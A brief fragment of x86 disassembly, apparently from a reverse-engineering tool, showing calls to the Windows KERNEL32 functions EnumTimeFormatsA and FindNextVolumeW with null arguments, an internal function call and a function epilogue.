cmp eax, 0x2f
jne 0x40aef7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
call fcn.0040ad70
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1c
ret